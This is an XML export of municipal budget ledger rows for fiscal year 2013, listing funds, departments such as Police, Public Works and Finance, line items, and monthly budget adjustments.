<row _id="3918"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>576513.0</object><object_description>OTS STEP GRANT 2013</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>3000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="3919"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>406855.0</object><object_description>OTS STEP GRANT 2013</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-140000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-140000.0</total></row>
<row _id="3920"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555130.0</object><object_description>TOXIC CHEMICAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>276000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>276000.0</total></row>
<row _id="3921"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>REAL BEACH PKG FED STP-L</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-498005</april><may>57121</may><june>0.0</june><total>-440884.0</total></row>
<row _id="3922"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>20000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="3923"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400308.0</object><object_description>VALET PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-341700</april><may>0</may><june>0.0</june><total>-341700.0</total></row>
<row _id="3924"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578311.0</object><object_description>FIRE REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>93000.0</march><april>0</april><may>0</may><june>0.0</june><total>93000.0</total></row>
<row _id="3925"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555364.0</object><object_description>13 STATE HOMELAND SEC GRANT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>200000.0</june><total>200000.0</total></row>
<row _id="3926"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="3927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9203.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9203.0</total></row>
<row _id="3928"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="3929"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-466108.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-466108.0</total></row>
<row _id="3930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>404340.0</object><object_description>INDUSTRIAL WASTE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-325000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-325000.0</total></row>
<row _id="3931"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>94550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>946</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>95496.0</total></row>
<row _id="3932"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>383.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>383.0</total></row>
<row _id="3933"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1351810.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>32265</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1384075.0</total></row>
<row _id="3934"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27000.0</total></row>
<row _id="3935"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>85000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>85000.0</total></row>
<row _id="3936"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="3937"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1935207.0</july><august>0</august><september>0.0</september><october>-572.0</october><november>0</november><december>0</december><january>0.0</january><february>19346</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1953981.0</total></row>
<row _id="3938"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2291.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2291.0</total></row>
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<row _id="3940"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20050.0</total></row>
<row _id="3941"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
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<row _id="3987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3060.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3060.0</total></row>
<row _id="3988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1020.0</total></row>
<row _id="3989"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5186385.0</july><august>0</august><september>0.0</september><october>65042.0</october><november>-65042</november><december>0</december><january>0.0</january><february>51864</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5238249.0</total></row>
<row _id="3990"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21600.0</total></row>
<row _id="3991"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="3992"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544260.0</object><object_description>BIN REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>54000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>54000.0</total></row>
<row _id="3993"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544270.0</object><object_description>BIN PARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>45132.26</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45132.26</total></row>
<row _id="3994"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14400.0</total></row>
<row _id="3995"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19598.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>196</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19794.0</total></row>
<row _id="3996"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22000.0</total></row>
<row _id="3997"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1017353.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1017353.0</total></row>
<row _id="3998"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>566060.0</object><object_description>INTEREST EXPENSE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="3999"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-113192.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-113192.0</total></row>
<row _id="4000"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1173646.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1173646.0</total></row>
<row _id="4001"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>864.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>62150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>62150.0</total></row>
<row _id="4002"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402310.0</object><object_description>WATER - COMMERCIAL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-20102890.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20102890.0</total></row>
<row _id="4003"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="4004"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402210.0</object><object_description>MAUSOLEUM SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-132600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-132600.0</total></row>
<row _id="4005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-25500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25500.0</total></row>
<row _id="4006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-85000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-85000.0</total></row>
<row _id="4007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405550.0</object><object_description>DOMESTIC PARTNERSHIP FLNG FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-175.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-175.0</total></row>
<row _id="4008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>400270.0</object><object_description>ANIMAL LICENSES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-175990.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-175990.0</total></row>
<row _id="4009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404590.0</object><object_description>SUBDIVISION MAP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-11042.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11042.0</total></row>
<row _id="4010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28931.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28931.0</total></row>
